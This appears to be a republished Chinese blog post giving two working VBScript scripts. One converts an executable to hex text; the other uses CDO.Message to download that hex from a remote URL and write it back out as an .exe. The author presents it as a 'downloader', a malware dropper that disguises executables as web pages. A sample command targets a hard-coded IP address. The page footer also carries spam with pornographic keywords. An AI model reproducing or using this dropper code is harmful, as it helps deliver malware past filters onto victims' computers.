VBS下載文件的新方法

來(lái)源：本站原創(chuàng)|時(shí)間：2020-01-10|欄目：vb|點(diǎn)擊：次

BLOG備份腳本時(shí)發(fā)現(xiàn) CDO.MESSAGE可以訪問(wèn)網(wǎng)絡(luò)下載東西，說(shuō)是研究研究或許可以用來(lái)當(dāng)下載者用。
于是研究了一會(huì)。寫(xiě)出個(gè)粗糙的DEMO。
exe2hex.vbs //xiaolu寫(xiě)的exe2vbs ，我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制
================================================

復(fù)制代碼代碼如下:

 
'code by xiaolu 
'change by NetPatch 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
do while 1 
fname=arg(0) 
err.number=0 
Set Ado = CreateObject("adodb.stream") 
With Ado 
.Type = 1 
.open 
.loadfromfile fname 
ss = .read 
End With 
if err.number<>0 then 
if msgbox("文件打開(kāi)錯(cuò)誤!",1,"File2VBS")=2 then Wscript.quit 
else 
exit do 
end if 
loop 
if fname="" then Wscript.quit 
Set Fso=CreateObject("Scripting.FileSystemObject") 
Set File=fso.OpenTextFile(arg(0)&".htm",2, True) 
File.write Bin2Str(ss) 
File.close 
Set fso=nothing 
Ado.close 
set Abo=nothing 
Function Bin2Str(Re) 
For i = 1 To lenB(Re) 
bt = AscB(MidB(Re, i, 1)) 
if bt < 16 Then Bin2Str=Bin2Str&"0" 
Bin2Str=Bin2Str & Hex(bt) 
Next 
End Function 

======================================
下載者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm內(nèi)容時(shí)用exe2hex.vbs轉(zhuǎn)EXE后獲得的
使用方法：
1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制，放到網(wǎng)絡(luò)上
2.down.vbs http://xxx/demo.htm c:\good.exe

上一篇：簡(jiǎn)單的VBS加密實(shí)現(xiàn)代碼

欄目：vb

下一篇：用VBS檢測(cè)U盤(pán)插入與彈出事件的代碼

本文標(biāo)題：VBS下載文件的新方法

本文地址：http://mengdiqiu.com.cn/a1/vb/7456.html

更多vb

欧美大屁股bbbbxxxx,狼人大香伊蕉国产www亚洲,男ji大巴进入女人的视频小说,男人把ji大巴放进女人免费视频,免费情侣作爱视频

vb

VBS下載文件的新方法

您可能感興趣的文章

閱讀排行

本欄相關(guān)

隨機(jī)閱讀